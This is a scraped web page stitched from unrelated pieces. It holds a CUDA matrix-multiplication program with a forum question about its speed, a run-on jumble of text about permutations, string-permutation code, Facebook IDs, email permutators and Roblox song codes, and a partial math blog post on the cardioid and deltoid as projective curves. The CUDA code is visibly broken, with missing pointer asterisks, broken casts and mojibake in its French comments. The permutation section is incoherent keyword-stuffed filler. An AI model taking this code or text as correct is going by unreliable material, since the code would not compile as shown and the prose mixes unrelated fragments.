main(void)\n\n{\n\nMatrix a_h, b_h, c_h;\n\nFILE fp1, fp2, fp3;\n\nfp1 = fopen(“a_h.txt”,“w”);\n\nif(fp1 == NULL) {\n\n``````printf(\"Ouverture du fichier %s impossible\\n\", \"a_h.txt\");\n\nexit(-1);\n\n}\n``````\n\nfp2 = fopen(“b_h.txt”,“w”);\n\nif(fp2 == NULL) {\n\n``````printf(\"Ouverture du fichier %s impossible\\n\", \"b_h.txt\");\n\nexit(-1);\n\n}\n``````\n\nfp3 = fopen(“c_h.txt”,“w”);\n\nif(fp3 == NULL) {\n\n``````printf(\"Ouverture du fichier %s impossible\\n\", \"c_h.txt\");\n\nexit(-1);\n\n}\n``````\n\na_h.width = MSIZE; a_h.height = MSIZE;\n\nb_h.width = MSIZE; b_h.height = MSIZE;\n\nc_h.width = MSIZE; c_h.height = MSIZE;\n\nsize_t size = MSIZE * MSIZE * sizeof(float); /* size_t = unsigned int /\n\na_h.elements = (float)malloc(size);\n\nb_h.elements = (float)malloc(size);\n\nc_h.elements = (float)malloc(size);\n\nfprintf(fp1, “\\n”); /* Espace dans le fichier avant l’Ã©criture des nombres /\n\n/ Initialisation des matrices hÃ´te /\n\nfor (int j=0; j<a_h.height; j++)\n\n``````\tfor (int i=0; i<a_h.width; i++){\n\na_h.elements[a_h.widthj + i] = (float)rand()/RAND_MAX;\n\nfprintf(fp1, \"%f\\n\", a_h.elements[a_h.widthj + i]);\n\n}\n``````\n\nfprintf(fp2, “\\n”); / Espace dans le fichier avant l’Ã©criture des nombres /\n\n/ La fonction rand dÃ©livre un nombre pseudoalÃ©atoire compris entre 0 et 32767(RAND_MAX) /\n\nfor (int j=0; j<b_h.height; j++)\n\n``````\tfor (int i=0; i<b_h.width; i++){\n\nb_h.elements[b_h.widthj + i] = (float)rand()/RAND_MAX;\n\nfprintf(fp2, \"%f\\n\", b_h.elements[b_h.widthj + i]);\n\n}\n``````\n\nfor (int j=0; j<c_h.height; j++)\n\n``````\tfor (int i=0; i<c_h.width; i++)\n\nc_h.elements[c_h.widthj + i] = 0.0;\n``````\n\nMatrix d_A, d_B, d_C;\n\nd_A.width = a_h.width; d_A.height = a_h.height;\n\nd_B.width = b_h.width; d_B.height = b_h.height;\n\nd_C.width = c_h.width; d_C.height = c_h.height;\n\ncudaMalloc((void)&d_A.elements, size);\n\ncudaMemcpy(d_A.elements, a_h.elements, size, cudaMemcpyHostToDevice);\n\ncudaMalloc((void)&d_B.elements, size);\n\ncudaMemcpy(d_B.elements, b_h.elements, size, cudaMemcpyHostToDevice);\n\ncudaMalloc((void*)&d_C.elements, size);\n\n/ Appel de la fonction Ã exÃ©cuter en parallÃ¨le sur la carte graphique /\n\ndim3 dimBlock(BLOCK_SIZE, BLOCK_SIZE);\n\ndim3 dimGrid(b_h.width / dimBlock.x, a_h.height / dimBlock.y);\n\ncudaEvent_t start, stop;\n\nfloat time;\n\ncudaEventCreate(&start);\n\ncudaEventCreate(&stop);\n\ncudaEventRecord( start, 0 ); // DÃ©but\n\nMulMatKernel<<<dimGrid, dimBlock>>>(d_A, d_B, d_C);\n\n//MulMat(a_h, b_h, c_h);\n\n// Fin de la mesure du temps d’exÃ©cution du programme\n\ncudaEventRecord( stop, 0 ); // Fin\n\ncudaEventSynchronize( stop );\n\ncudaEventElapsedTime( &time, start, stop );\n\ncudaEventDestroy( start );\n\ncudaEventDestroy( stop );\n\n// Print results\n\nprintf(\"\\n\");\n\nprintf(“Temps ecoule: %f ms\\n”, time);\n\n/ Transfert du rÃ©sultat de la carte graphique Ã la CPU /\n\ncudaMemcpy(c_h.elements, d_C.elements, size, cudaMemcpyDeviceToHost);\n\ncudaFree(d_A.elements);\n\ncudaFree(d_B.elements);\n\ncudaFree(d_C.elements);\n\nfprintf(fp3, “\\n”); / Espace dans le fichier avant l’Ã©criture des nombres /\n\nfor (int i=0; i<MSIZE; i++) {\n\n``````for (int j=0; j<MSIZE; j++){\n\nif (c_h.elements[ic_h.width + j] > MSIZE \|\| c_h.elements[ic_h.width + j] < 0)\n\nprintf(\"erreur = %f i = %d, j = %d\\n\", c_h.elements[ic_h.width + j], i, j);\n\nfprintf(fp3, \"%f\\n\", c_h.elements[c_h.widthj + i]);\n\n}\n\n//printf(\"\\n\");\n``````\n\n}\n\nfclose(fp1);\n\nfclose(fp2);\n\nfclose(fp3);\n\n// Cleanup\n\nfree(a_h.elements);\n\nfree(b_h.elements);\n\nfree(c_h.elements);\n\n}\n\ndevice void MulMatKernel(Matrix A, Matrix B, Matrix C)\n\n{\n\n// Each thread computes one element of C by accumulating results into Cvalue\n\nfloat Cvalue = 0.0f;\n\nint row = blockIdx.y blockDim.y + threadIdx.y;\n\nint col = blockIdx.x * blockDim.x + threadIdx.x;\n\n/* Calcul et rangement en colonnes pour Matlab /\n\nfor (int e = 0; e < A.width; ++e)\n\n``````Cvalue += A.elements[row A.width + e] * B.elements[e * B.width + col];\n``````\n\nC.elements[col * C.width + row] = Cvalue;\n\n}\n\njcpao\n\nThese are the results I get from the profiler (see attached Excel document):\nprof_mulmat3.xls (14 KB)\n\nHello,\n\nI took the example of Cuda matrix multiplication using shared memory from the Programming Guide. I use two 1024 x 1024 matrix with 16 x 16 blocks. I take use 8 registers per thread. I use a GPU 8400 GS with 8 stream processors (1400 MHz).\n\nI get an execution time (for the kernel alone) of 387ms.\n\nPlease could you tell me whether it is a slow or a normal execution time?\nThank you for your help. :)\njcpao" ]	[ null, "https://aws1.discourse-cdn.com/nvidia/original/2X/3/3f301944ed0d2d0d779b3eaa251520d35458d467.png", null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.9198896,"math_prob":0.96779776,"size":1671,"snap":"2020-24-2020-29","text_gpt3_token_len":424,"char_repetition_ratio":0.09358128,"word_repetition_ratio":0.08387097,"special_character_ratio":0.26271695,"punctuation_ratio":0.101983,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.989563,"pos_list":[0,1,2],"im_url_duplicate_count":[null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-07-07T12:00:27Z\",\"WARC-Record-ID\":\"<urn:uuid:01bda1eb-0e3c-41ec-af1b-9ec773abe9cc>\",\"Content-Length\":\"41989\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:9f9b2a62-18ac-40e6-80b2-a52e5856e6a7>\",\"WARC-Concurrent-To\":\"<urn:uuid:6e10b86a-0def-457a-8336-4eb78f8fa78d>\",\"WARC-IP-Address\":\"65.19.128.98\",\"WARC-Target-URI\":\"https://forums.developer.nvidia.com/t/cuda-matrix-multiplication-too-slow/14877\",\"WARC-Payload-Digest\":\"sha1:BAO4EYA2K2EVAINP3WU4ZNROUQEHBIW2\",\"WARC-Block-Digest\":\"sha1:HDDFC35BXLE5ZCHOET7OI5KHRTJAMLRC\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-29/CC-MAIN-2020-29_segments_1593655892516.24_warc_CC-MAIN-20200707111607-20200707141607-00597.warc.gz\"}"}
http://pgamo.com/die-hard-ahuwa/d1f722-find-permutation-id	[ "This C Program To Permute all letters of a string without Recursion makes use of Pointers. The number that you see after it is your numeric Facebook ID. A convenient feature of cycle notation is that one can find a permutation's inverse simply by reversing the order of the elements in the permutation's cycles. Details. ABC, ACB, BAC, BCA, CBA, CAB. Under what conditions does a Martial Spellcaster need the Warcaster feat to comfortably cast spells? Combinations and Permutations What's the Difference? Similarly, permutation(3,3) will be called at the end. Easiest way to convert int to string in C++. The \"has\" rule which says that certain items must be included (for the entry to be included).. Can an exiting US president curtail access to Air Force One from the new president? Given a positive integer n and a string s consisting only of letters D or I, you have to find any permutation of first n positive integer that satisfy the given input string. \", however it took...176791 to get to \"helloworld!\" But {c,d,e,f} is not, because there is no item before c. {Alex,Betty,Carol,John} {Alex,Betty,John,Carol} {Alex,Carol,Betty,John} {Alex,Carol,John,Betty} {Alex,John,Betty,Carol} {Alex,John,Carol,Betty} {Betty,Alex,Carol,John} {Betty,Alex,John,Carol} {Betty,Carol,Alex,John} {Carol,Alex,Betty,John} {Carol,Alex,John,Betty} {Carol,Betty,Alex,John}. Now consider the permutation: { 5, 1, 4, 3, 2 }. In other words: \"My fruit salad is a combination of apples, grapes and bananas\" We don't care what order the fruits are in, they could also be \"bananas, grapes and apples\" or \"grapes, apples and bananas\", its the same fruit salad. #31 Next Permutation. In this specific case it's 176790 but there's nothing in the math world that can direct permutations towards legible words. Both packing and unpacking is a straightforward process. Why is reading lines from stdin much slower in C++ than Python? If the permutation function finds permutations recursively, a way must exist that the user can process each permutation. Is there any difference between \"take the initiative\" and \"show initiative\"? The word \"no\" followed by a space and a number. Is there a ways so I can just input: 176791 to quickly permutate to \"helloworld!\"? Conflicting manual instructions? Scenario: I have 13 digit alpha numeric data (00SHGO8BJIDG0) I want a coding to interchange S to 5, I to 1 and O to 0 and vise versa. Permutation is the different arrangements that a set of elements can make if the elements are â¦ C++11 introduced a standardized memory model. What is the point of reading classics over modern treatments? :) I'll go do some more research, Podcast 302: Programming in PowerPoint can teach you a few things. 14 in factoradics -> 2100. Now simply interpret that array as a N-digit number in base N. I.e. number of things n: nâ§râ§0; number to be taken r: permutations nPr . Properly constructed encodings will all occupy the same number of bits. Permutation - Combination Calculator is a convenient tool that helps you calculate permutations and combinations with or without repetitions. At this point, we have to make the permutations of only one digit with the index 3 and it has only one permutation i.e., itself. A permutation is an arrangement of objects in which the order is important (unlike combinations, which are groups of items where order doesn't matter).You can use a simple mathematical formula to find the number of different possible ways to order the items. Basically, it looks like you are looking for a way to \"encode\" a permutation by an integer. Hard #33 Search in Rotated Sorted Array. Anyway, this should be a rather well-researched subject and a simple Google search should turn up lots of information on encoding permutations. The word \"pattern\" followed by a space and a list of items separated by commas. The number of permutations with repetition (or with replacement) is simply calculated by: where n is the number of things to choose from, r number of times. Naive Approach: Find lexicographically n-th permutation using STL.. I want to find the 1,000,000-th permutation in lexicographic order of S. It is a programming puzzle, but I wanted to figure out a way without brute-forcing the task. De ID van je hardware vinden. How many presidents had decided not to attend the inauguration of their successor? P e r m u t a t i o n s (1) n P r = n! Find all permutation $\\alpha \\in S_7$ such that $\\alpha^3 = (1234)$ Clearly, there is more than one such permutation as $\\alpha$ could be a $4$-cycle with elements $1,2,3,4$ or $\\alpha$ could be a $4$-cycle of elements $1,2,3,4$ and a $3$-cycle of elements $5,6,7$. But different encodings will might use different integers to encode the same permutation. So {a,b,f} is accepted, but {a,e,f} is rejected. The order of arrangement of the object is very crucial. In that case, why don't you just use. {a,b,c} {a,b,d} {a,b,e} {a,c,d} {a,c,e} {a,d,e} {b,c,d} {b,c,e} {b,d,e} {c,d,e}, {a,c,d} {a,c,e} {a,d,e} {b,c,d} {b,c,e} {b,d,e} {c,d,e}, The entries {a,b,c}, {a,b,d} and {a,b,e} are missing because the rule says we can't have 2 from the list a,b (having an a or b is fine, but not together). Data races Some (or all) of the objects in both ranges are accessed (possibly multiple times each). In this case you know it because you did the full iteration. What's the best time complexity of a queue that supports extracting the minimum? your coworkers to find and share information. The variable id is a cycle as this is more convenient than a zero-by-one matrix.. Function is.id() returns a Boolean with TRUE if the corresponding element is the identity, and FALSE otherwise. In this post, we will discuss how to find permutations of a string using iteration. Just copy and play it in your Roblox game. Vector, next, contains the next permutation. The number says how many (minimum) from the list are needed for that result to be allowed. Here (If N is a power of 2, this representation will simply pack the original array values into a bit-array). Recall from the Even and Odd Permutations as Products of Transpositions page that a permutation is said to be even if it can be written as a product of an even number of transpositions, and is said to be odd if it can be written as a product of an odd number of transpositions. Easy #36 Valid Sudoku. In mathematics, when X is a finite set with at least two elements, the permutations of X (i.e. Will allow if there is an a and b, or a and c, or b and c, or all three a,b and c. In other words, it insists there be at least 2 of a or b or c in the result. These methods are present in an itertools package. How would you determine how far you need to jump? Then a comma and a list of items separated by commas. It is relatively straightforward to find the number of permutations of $$n$$ elements, i.e., to determine cardinality of the set $$\\mathcal{S}_{n}$$. @CPPNoob: Well, again, the question I'm asking is: how important is it to represent that specific permutation by integer, Well, thanks everyone for their input. Should the stipend be paid if working remotely? How can a Z80 assembly program find out the address stored in the SP register. I have this question listed on my Stackoverflow.com account as well. Easy #36 Valid Sudoku. Complexity If both sequence are equal (with the elements in the same order), linear in the distance between first1 and last1. Details. Worked immediately, saving a ton of time trying to find the “right” combo. Home / Mathematics / Permutation and combination; Calculates the number of permutations of n things taken r at a time. index[old position] = new position. Note: Assume that the inputs are such that Kth permutation of N number is always possible. Notes. So {a,e,f} is accepted, but {d,e,f} is rejected. Medium #34 Find First and Last Position of Element in Sorted Array. Start with the first digit ->2, String is âabcdâ. Here's a SO link that offers a much deeper analysis of this topic, Fast permutation -> number -> permutation mapping algorithms, site design / logo © 2021 Stack Exchange Inc; user contributions licensed under cc by-sa. Python provides a package to find permutations and combinations of the sequence. Stack Overflow for Teams is a private, secure spot for you and It is relatively straightforward to find the number of permutations of $$n$$ elements, i.e., to determine cardinality of the set $$\\mathcal ... that composition is not a commutative operation, and that composition with \\(\\mbox{id}$$ leaves a permutation unchanged. So it took 176791 permutation to permutate the string into \"helloworld!\". We have 4 choices (A, C, G anâ¦ Permutation Calculator . permutations, obviously. PostGIS Voronoi Polygons with extend_to parameter. If you choose two balls with replacement/repetition, there are permutations: {red, red}, {red, blue}, {red, black}, {blue, red}, {blue, blue}, {blue, black}, {black, red}, {black, blue}, and {black, black}. And how is it going to affect C++ programming? So my thinking was like this: For 10 variable symbol positions, we have 10! Colleagues don't congratulate me or cheer me on when I do good work. Hard #33 Search in Rotated Sorted Array. For help making this question more broadly applicable, Stack Overflow works best with JavaScript enabled, Where developers & technologists share private knowledge with coworkers, Programming & related technical career opportunities, Recruit tech talent & build your employer brand, Reach developers & technologists worldwide. The identity permutation is problematic because it potentially has zero size. How do you find the order of Permutations? What People Are Saying “Awesome tool! The Order of a Permutation Definition: If $\\sigma$ is a permutation of the elements in $\\{ 1, 2, ..., n \\}$ then the order of $\\sigma$ denoted $\\mathrm{order} (\\sigma) = m$ is the smallest positive integer $m$ such that $\\sigma^m = \\epsilon$ where $\\epsilon$ is the identity permutation. Book about an AI that traps people on a spaceship. Given a starting permutation, you can calculate how many permutations it will take to get a certain value, given a starting value. are 2 and 1 or 2!. - Feature: + Lightweight and works fast: uses smart algorithms for calculating and converting the result to string, able to calculate large numbers in a very short time. 'D' represents a decreasing relationship between two numbers, 'I' represents an increasing relationship between two numbers. You can get the ID yourself by going to the profile, right click with your mouse and click \"View page source\", then search for the value \"entity_id\", \"fb://profile/\", \"fb://group/\" or \"fb://page/. Efficient Approach: Mathematical concept for solving this problem. It dispatches to either is.id.cycle() or is.id.word() as appropriate. To construct an arbitrary permutation of $$n$$ elements, we can proceed as follows: First, choose an integer … The remaining numbers of 4! Medium #32 Longest Valid Parentheses. Value. Now we want to find the first symbol. Find Permutation Average Rating: 4.81 (32 votes) June 7, 2017 \| 17.2K views By now, you are given a secret signature consisting of character 'D' and 'I'. Showing that the language L={⟨M,w⟩ \| M moves its head in every step while computing w} is decidable or undecidable. It dispatches to either is.id.cycle() or is.id.word() as appropriate. For eg, string ABC has 6 permutations. For an in-depth explanation of the formulas please visit Combinations and Permutations. Medium #35 Search Insert Position. The inverse of a permutation f is the inverse function f-1. What species is Adira represented as by the holo in S3E13? Medium #34 Find First and Last Position of Element in Sorted Array. For an in-depth explanation please visit Combinations and Permutations. Step 2: Enter up to three domains at which this contact is likely to have an email address. i.e. What are the differences between a pointer variable and a reference variable in C++? Why not you give it a try and come up with another solution? It has rejected any with a and b, or a and c, or b and c, or even all three a,b and c. So {a,d,e) is allowed (only one out of a,b and c is in that), But {b,c,d} is rejected (it has 2 from the list a,b,c), {a,b,d} {a,b,e} {a,c,d} {a,c,e} {a,d,e} {b,c,d} {b,c,e} {b,d,e} {c,d,e}, Only {a,b,c} is missing because that is the only one that has 3 from the list a,b,c. If you're working with combinatorics and probability, you may need to find the number of permutations possible for an ordered set of items. The idea is to sort the string & repeatedly calls std::next_permutation to generate the next greater lexicographic permutation of a string, in order to print all permutations of the string. A more compact representation should be possible. The identity permutation, which consists only of 1-cycles, can be denoted by a single 1-cycle (x), by the number 1, or by id. For the first part of this answer, I will assume that the word has no duplicate letters. A valid representation of a permutation will not have repetitive values in the index array. A permutation cycle is a set of elements in a permutation which trade places with one another. also could you calculate complexity of this algorithm, to me it looks n!n because loop will run for n times and for each n, we will call permutation method. The number of permutations on the set of n elements is given by n! Im doing a small project using permutation and combination rules. For example Hard #38 Count and Say. This question is unlikely to help any future visitors; it is only relevant to a small geographic area, a specific moment in time, or an extraordinarily narrow situation that is not generally applicable to the worldwide audience of the internet. And thus, permutation(2,3) will be called to do so. Step 1: Enter name information for your contact into the fields provided, including nickname (Jeff vs Jeffery) and middle name (middle initial ok) if available. The total number of permutation of a string formed by N characters(all distinct) is N! Easy #39 Combination Sum. That's all on how to find all permutations of a String in Java using recursion.It's a very good exercise for preparing Java coding interviews. The solution is a function pointer that takes in a parameter of the type std::vector. rev 2021.1.8.38287, Sorry, we no longer support Internet Explorer. To calculate the amount of permutations of a word, this is as simple as evaluating n!, where n is the amount of letters. Permutations can be encoded by integers in several different ways. In our below problem, I am trying to find the permutation of n elements of an array taking all the n at a time, so the result is !n There are many ways to solve, but per Wikipedia article on Heapâs Algorithm : âIn a 1977 review of permutation-generating algorithms, Robert Sedgewick concluded that it was at that time the most effective algorithm for generating permutations by computerâ. Just enter the relevant first name, last name, and domain name: See the Pen YXNrbO by Steffon on CodePen. Roblox Song Codes - Roblox Audio Catalog - Musica Roblox. Heb je hardware in je computer die niet goed functioneert en je weet niet zeker wat voor hardware het is of wie de fabrikant is, dan kun je de Hardware-ID van het apparaat gebruiken om dit te achterhalen. I am using permutation to generate a string (using each of its character) into \"helloworld! The article is about writing a Code to find permutation of numbers, the program prints all possible permutations of a given list or array of numbers. For example, you have a urn with a red, blue and black ball. So I’ve made the javascript below to generate common email address permutations for you. The \"has\" rule which says that certain items must be included (for the entry to be included). Active 8 years ago. The identity permutation is problematic because it potentially has zero size. In this permutation and combination math tutorial, we will learn how to find the number of possible arrangements in a set of objects. Moreover, since each permutation π is a bijection, one can always construct an inverse permutation π−1 such that π π−1 =id.E.g., 123 231 123 312 = 12 3 In this post, we will see how to find permutations of a string containing all distinct characters. It requires more bits than necessary, since it attempts to \"losslessly\" encode index arrays with non-unique values. Call it id n = 12 n = (1)(2) (n) It satisﬁes f id n = id n f = f . So, we can now print this permutation as no further recursion is now need. But it is not clear whether this encoding is required to be synchronized with permutation sequence generated by sequential calls to std::next_permutation. Then a comma and a list of items separated by commas. Python Math: Exercise-16 with Solution. Find out how many different ways to choose items. The permutation is an arrangement of objects in a specific order. @CPPNoob: Actually it is slow because of all those, What jogojapan is saying is - how do you know WHICH permutation will give you your expected result? $\\alpha$ cannot be a product of any disjoint transpositions as $(ij)^3 = (ij)$. What's the difference between 'war' and 'wars'? This immediately means that the above representation is excessive. In English we use the word \"combination\" loosely, without thinking if the order of things is important. Medium #32 Longest Valid Parentheses. Medium #40 Combination Sum II. Medium #37 Sudoku Solver. The C program prints all permutations of the string without duplicates. In particular, note that the result of each composition above is a permutation, that compo-sition is not a commutative operation, and that composition with id leaves a permutation unchanged. I can understand that the question is a bit \"abstract\". How can I quickly grab items from a chest to my inventory? The identity permutation on [n] is f (i) = i for all i. Permutation Id..? For e.g. Example: has 2,a,b,c means that an entry must have at least two of the letters a, b and c. The \"no\" rule which means that some items from the list must not occur together. Active 8 years ago. func is a callback function that you define. Unfortunately, the representation I describe above is not well-constructed. Length of given string s will always equal to n - 1; Your solution should run in linear time and space. means (n factorial). P e r m u t a t i o n s (1) n P r = n! So, if you need help with your algebra or geometry homework, watch this. If we need to find the 14th permutation of âabcdâ. Imports System.Collections.Generic Imports System.Linq Imports System.Xml.Linq Module Module1 Private IDToFind As String = \"bk109\" Public Books As New List(Of Book) Sub Main() FillList() ' Find a book by its ID. That's what you want? ; The Total number of permutation of a string formed by N characters (where the frequency of character C1 is M1, C2 is M2… and so the frequency of character Ck is Mk) is N!/(M1! Medium #35 Search Insert Position. Is it? That's a start on the algorithm. In general, for n objects n! To know the opinions of other people on the same and to find out other ways to solve the problem, please visit the link A 6-letter word has 6! Example: pattern c, means that the letter c must be first (anything else can follow), Combinations of a,b,c,d,e,f,g that have at least 2 of a,b or c. The word \"has\" followed by a space and a number. In R: A biological example of this are all the possible codon combinations. And the problem is that, it took few minutes (even without printf or cout). Given two integers N and K, find the Kth permutation sequence of numbers from 1 to N without using STL function. In this example, we used the first two numbers, 4 and 3 of 4!. An arrangement of a set of objects in a certain order is called a PERMUTATION. D means the next number is smaller, while I means the next number is greater. The variable id is a cycle as this is more convenient than a zero-by-one matrix.. Function is.id() returns a Boolean with TRUE if the corresponding element is the identity, and FALSE otherwise. I need your support on this please. Vector, now, is the current permutation. That is, how would you determine the number 176791? Think about how you'd calculate how many permutations it'd require to change the first character to the next lexicographically higher character. How can I profile C++ code running on Linux? We can in-place find all permutations of a given string by using Backtracking. We can also sort the string in reverse order Will allow if there is an a, or b, or c, or a and b, or a and c, or b and c, or all three a,b and c. In other words, it insists there be an a or b or c in the result. The number says how many (minimum) from the list are needed to be a rejection. The idea is to swap each of the remaining characters in the string.. Where k is the number of objects, we take from the total of n … To write out all the permutations is usually either very difficult, or a very long task. What is Permutation of a String? Viewed 414 times 1. Example: has 2,a,b,c means that an entry must have at least two of the letters a, b and c. I'm not sure what the question is about. the permutation is represented by an integer value. I.e do you require that number 176791 encodes a permutation produced by 176791 applications of std::next_permutation? Easy #39 Combination Sum. Anyway, if you don't care about a specific encoding method, then any permutation for N elements can be encoded in the following manner: Imagine the canonical representation of the permutation: an array of N indexes that describe the new positions of the sequence's elements, i.e. The project is that if I have the â¦ Please let me rephrase. Join Stack Overflow to learn, share knowledge, and build your career. Examples: Input: N = 3, K = 4 Output: 231 Explanation: The ordered list of permutation sequence from integer 1 to 3 is : 123, 132, 213, 231, 312, 321. PRO LT Handlebar Stem asks to tighten top handlebar screws first before bottom screws? What does it mean? Value. I'm trying to write a function that does the following: takes an array of integers as an argument (e.g. Even if Democrats have control of the senate, won't new legislation just be blocked with a filibuster? (n â r)! The results can be used for studying, researching or any other purposes. Permutation Id..? C++ [closed] Ask Question Asked 8 years ago. #31 Next Permutation. C++ [closed] Ask Question Asked 8 years ago. Means \"any item, followed by c, followed by zero or more items, then f\", And {b,c,f,g} is also allowed (there are no items between c and f, which is OK). Learn How To Find Permutations of String in C Programming. Example: no 2,a,b,c means that an entry must not have two or more of the letters a, b and c. The \"pattern\" rule is used to impose some kind of pattern to each entry. Suppose we have 4 objects and we select 2 at a time. Write a Python program to print all permutations of a given string (including duplicates). =654321=720 different permutations. Step 3: Click 'Permutate' and copy the resulting email addresses. We have 2 MILION+ newest Roblox music codes for you. Otherwise, up to quadratic: Performs at most N 2 element comparisons until the result is determined (where N is the distance between first1 and last1). Basically, the canonical array representation of the original permutation is packed into a sufficiently large integer value. To find the number of permutations of a certain set, use the factorial notation. Viewed 414 times 1. Divided by (n-k)! In mathematics, the notion of permutation relates to the act of arranging all the members of a set into some sequence or order, or if the set is already ordered, rearranging (reordering) its elements, a process called permuting. P = { 5, 1, 4, 2, 3 }: Here, 5 goes to 1, 1 goes to 2 and so on (according to their indices position): 5 -> 1 1 -> 2 2 -> 4 4 -> 3 3 -> 5 Thus it can be represented as a single cycle: (5, 1, 2, 4, 3). You can also modify the code to print permutations of a string with duplicates. So the question is, is there any way where as I can simply input 176791 to quickly permutate or ( rotate, swap, etc ) to get the string to have the value of \"helloworld!\"? Combination and permutation are a part of Combinatorics. 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https://thalestriangles.blogspot.com/	[ "Monday, July 15, 2019\n\ncardioid, deltoid, folium\n\nThe cardioid and the deltoid are two of my favorite curves. They arise in similar ways: one is an epicycloid, and the other is a hypocycloid. In a sense, each is the simplest non-trivial example of their respective type. They make excellent examples for calculus problems. But as I learned this week, they are actually the same curve.\n\nThis post is about the claim made in italics in the previous paragraph. Obviously I don’t mean that the classical constructions mentioned above (and described below) produce the same curves in the Euclidean plane. Rather, they are the same from the perspective of complex projective geometry. When I searched for this fact on Google after uncovering it for myself, I only found one mention of it, in a textbook from 1923 entitled An Introduction to Projective Geometry. I assume it was well-known at the time, and today is probably known to certain algebraic geometers, but it seems worth explicating for a larger audience.\n\nFirst, the curves. Epicycloids and hypocycloids are both examples of roulettes, curves traced out by a point marked on one curve, which is free to move, as it rolls along another curve, which is fixed, without slipping. To generate an epicycloid or hypocycloid, both the fixed curve and the moving curve are circles; the difference is that for an epicycloid, the rolling circle is outside the fixed circle, and for a hypocycloid the rolling circle is on the inside. The shape of the epicycloid or hypocycloid is determined by the ratio of the circles’ radii. For an epicycloid, we can choose a 1:1 ratio, which means the marked point on the rolling circle makes contact with the fixed circle once as the outer circle completes a circuit. A hypocycloid cannot be constructed from circles whose radii have a 1:1 ratio, and a 2:1 ratio simply produces a line segment, so the simplest hypocycloid arises from a 3:1 ratio. The construction of these simplest examples is illustrated below. (These animations were created using a Desmos graph with the help of GIFsmos.) The first is called the cardioid (“heart-like”) and the second is the deltoid (“triangle-like”).\n\nIn both cases, the rolling circle is given a radius of 1, and in both cases the centers of the two circles remain at a distance of 2. By watching carefully, one can see that in both cases the marked point makes two revolutions around the center of the rolling circle. For the cardioid, these revolutions are counterclockwise, and so the cardioid can be parameterized by $(2\\cos\\theta + \\cos2\\theta, 2\\sin\\theta + \\sin2\\theta)\\text.$ In the case of the deltoid, the marked point’s revolutions are made clockwise, and so the deltoid can be parameterized by $(2\\cos\\theta + \\cos2\\theta, 2\\sin\\theta - \\sin2\\theta)\\text.$ These formulas are very similar, but certainly not the same, and the pictures they produce are quite different. So how can I claim that the curves are the same?\n\nOur first step toward understanding the claim involves switching to complex numbers. If we collect the $x$- and $y$-coordinates of the plane $\\mathbb{R}^2$ into a single complex coordinate, then the parameterizations above become\n\n$2e^{i\\theta} + e^{2i\\theta} \\qquad$ and $\\qquad 2e^{i\\theta} + e^{-2i\\theta}$.\nNow we want to extend to the complex plane $\\mathbb{C}^2$ (note: I think of $\\mathbb{C}$ as the complex line because it is one-dimensional as a complex vector space). A standard trick is to add a second coordinate that is conjugate to the first, which makes the parameterizations\n$\\big(2e^{i\\theta} + e^{2i\\theta},2e^{-i\\theta} + e^{-2i\\theta}\\big) \\qquad$ and $\\qquad \\big(2e^{i\\theta} + e^{-2i\\theta},2e^{-i\\theta} + e^{2i\\theta}\\big)$.\nNow let’s set $t = e^{i\\theta}$ and allow $t$ to take on all complex values (except $0$, but we’ll take care of that later) instead of just values on the unit circle. At the same time, let’s label the parameterizations $\\gamma_C$ and $\\gamma_D$, with $C$ standing for cardioid and $D$ for deltoid. This gives us\n$\\gamma_C(t) = \\left(2t + t^2,\\dfrac{2}{t} + \\dfrac{1}{t^2}\\right) \\qquad$ and $\\qquad \\gamma_D(t) = \\left(2t + \\dfrac{1}{t^2},\\dfrac{2}{t} + t^2\\right)$.\nWe still can see superficial similarities in these formulas, but not enough to conclude that they define equivalent curves. In order to see their equivalence, we need to see what’s happening at infinity, which means introducing some projective geometry.\n\nThe complex projective line $\\mathbb{P}^1$, also known as the Riemann sphere, is obtained by adding a single point, labeled $\\infty$, to the ordinary complex line $\\mathbb{C}$. The points of $\\mathbb{P}^1$ may be thought of as the “slopes” of lines through the origin in $\\mathbb{C}^2$. Indeed, it is often useful to assign coordinates to $\\mathbb{P}^1$ using non-zero vectors $(s,t)$ in $\\mathbb{C}^2$, where two vectors correspond to the same point of $\\mathbb{P}^1$ if they are scalar multiples of each other, $(s,t)\\sim(\\lambda s,\\lambda t)$ if $\\lambda\\in\\mathbb{C}\\setminus\\{0\\}$. We write the equivalence class of $(s,t)$ as $[s:t]$; these are called homogeneous coordinates on $\\mathbb{P}^1$. We can recover $\\mathbb{P}^1$ as $\\mathbb{C}\\cup\\{\\infty\\}$ by sending $[s:t]$ to the slope $t/s$ if $s \\ne 0$; then $[0:1]$ is sent to $\\infty$.\n\nIn a similar way, we can extend $\\mathbb{C}^2$ to the complex projective plane $\\mathbb{P}^2$ by adding points at infinity, and the most convenient way to do so is by homogenous coordinates. We start with non-zero vectors $(u,v,w)$ in $\\mathbb{C}^3$ and consider $(\\lambda u, \\lambda v, \\lambda w)$ to define the same point of $\\mathbb{P}^2$ as $(u,v,w)$ if $\\lambda\\in\\mathbb{C}\\setminus\\{0\\}$. Then $[u:v:w]$ are homogeneous coordinates on $\\mathbb{P}^2$. The points with $u\\ne0$ correspond to points of the original complex plane $\\mathbb{C}^2$, by sending $[u:v:w]$ to $(v/u,w/u)$. The points with $u=0$ constitute the new line at infinity, which is just a copy of $\\mathbb{P}^1$ with coordinates $[0:v:w]$.\n\nNow we can extend the cardioid and the deltoid to curves in $\\mathbb{P}^2$, not just $\\mathbb{C}^2$. We start with the parameterizations $\\gamma_C$ and $\\gamma_D$, append an initial coordinate of 1, then clear denominators (we can do this because of the equivalence that defines homogeneous coordinates). Then we get\n\n$\\gamma_C(t) = \\big[t^2:2t^3 + t^4:2t + 1\\big] \\qquad$ and $\\qquad \\gamma_D(t) = \\big[t^2:2t^3 + 1:2t + t^4\\big]$.\nThese allow for the possibility of $t = 0$, but apparently leave out the point at infinity $\\infty$, so we make one more modification, replacing $t$ with $t/s$ and again clearing denominators to obtain\n$\\gamma_C([s:t]) = \\big[s^2 t^2:2st^3 + t^4:2s^3t + s^4\\big] \\qquad$ and\n$\\qquad \\gamma_D([s:t]) = \\big[s^2t^2:2st^3 + s^4:2s^3t + t^4\\big]$.\nHere we see a feature characteristic of maps from one projective space to another, when homogeneous coordinates are used: each component of 